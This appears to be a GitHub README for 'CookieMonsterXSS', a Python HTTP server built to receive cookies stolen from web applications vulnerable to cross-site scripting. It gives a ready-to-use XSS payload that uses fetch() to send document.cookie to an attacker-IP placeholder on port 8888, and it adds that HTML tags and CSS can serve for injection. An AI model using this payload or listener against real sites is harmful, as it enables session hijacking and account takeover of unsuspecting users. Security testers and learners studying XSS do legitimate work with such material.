Skip to content

Latest commit

 

History

History
14 lines (6 loc) · 668 Bytes

File metadata and controls

14 lines (6 loc) · 668 Bytes

CookieMonsterXSS

Cookie Monster Image Src:Null Byte

cookieMonster.py is a python http server listening to inbound connections. The server can be used to capture cookies from the web application that is vulnerable to Cross Site Scripting (XSS).

Example XSS payload:
<script>fetch(`http://<ATTACKER_MACHINE_IP>:8888?data=${document.cookie}`)</script>

Keep in mind, there are many ways to perform code injection; using the <script> element tag is just one of them. You can also perform XSS injections using HTML tags and CSS.